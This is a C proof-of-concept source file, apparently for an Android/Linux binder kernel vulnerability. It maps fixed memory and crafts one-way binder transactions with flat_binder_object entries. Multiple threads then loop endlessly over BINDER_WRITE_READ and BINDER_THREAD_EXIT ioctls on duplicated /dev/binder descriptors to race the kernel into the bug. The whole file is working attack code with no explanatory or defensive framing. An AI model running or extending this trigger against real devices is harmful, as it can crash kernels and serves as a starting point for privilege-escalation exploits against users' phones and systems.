#include "poc.h"
static inline generate_BUG_binder_transaction(int nb){

    for(int i = 0 ; i < nb ; ++i){
        struct flat_binder_object * fbo = (struct flat_binder_object *)(MEM_ADDR + 0x400LL + i*sizeof(*fbo));
        fbo->binder = 1;
        fbo->cookie = 1;
        fbo->hdr.type =BINDER_TYPE_BINDER;
        uint64_t * offset = (uint64_t *)((void *) (MEM_ADDR + OFFSETS_START + 8LL * i));
        *offset = i * sizeof(*fbo);
    }

    struct binder_transaction_data  btd2 = {
        .flags = TF_ONE_WAY,
        .data.ptr.buffer = MEM_ADDR + 0x400,
        .data.ptr.offsets = MEM_ADDR + OFFSETS_START,
        .data_size = 0x28 * nb,
        .offsets_size = 8 * nb,
    };
    uint64_t txn_size = sizeof(uint32_t) + sizeof(btd2);
    *(uint32_t *)(MEM_ADDR + 0x200) = BC_TRANSACTION;
    memcpy((void *)(MEM_ADDR + 0x204),&btd2,sizeof(btd2));

    struct binder_write_read bwr = {
        .write_buffer = MEM_ADDR + 0x200,
        .write_size = txn_size,
    };
    memcpy((void *)MEM_ADDR + 0x100,&bwr,sizeof(bwr));

}

void* trigger_bug(void * argp ){
    unsigned long id = (unsigned long)argp;
    int ret = 0;
    int binder_fd = -1;
    int binder_new_fd = -1;

    binder_fd = open("/dev/binder",O_RDWR);
    if(binder_fd < 0){
        printf("[-] can not open /dev/binder\n");
    //    exit(EXIT_FAILURE);
    }
    for(;;){
        generate_BUG_binder_transaction(1);
        binder_new_fd = dup(binder_fd);
        
        ret = ioctl(binder_new_fd,BINDER_WRITE_READ,MEM_ADDR+0x100);
        if(ret != 0){
            printf("[-] BINDER_WRITE_READ FAILED : %d",ret);
  //          exit(EXIT_FAILURE);
        }
      //  sleep(450);
        ret = ioctl(binder_new_fd,BINDER_THREAD_EXIT,NULL);
        if(ret !=0 ){
            printf("[-] BINDER_THREAD_EXIT FAILED : %d",ret);
        }
        close(binder_new_fd);
    }

    return NULL;
}

int main(){
 
     pthread_t trigger_threads[TRIGGER_THREAD_NUM];
     mmap((void *)MEM_ADDR,MEM_SIZE,PROT_READ | PROT_WRITE, 
     MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,-1,0);
     srand(time(0));
     
     setvbuf(stdout,NULL,_IONBF,0);
     setvbuf(stderr,NULL,_IONBF,0);

     printf("[*] starting execute poc\n");
    // fillOtherCpu();
     for(unsigned long i = 0 ; i < TRIGGER_THREAD_NUM ; ++i){
         pthread_create(&trigger_threads[i],NULL,trigger_bug,(void *)i);
     }

     //for(unsigned long i = 0 ; i < TRIGGER_THREAD_NUM ; ++i){
      //   pthread_join(trigger_threads[i],NULL);
     //;}
   
     

}
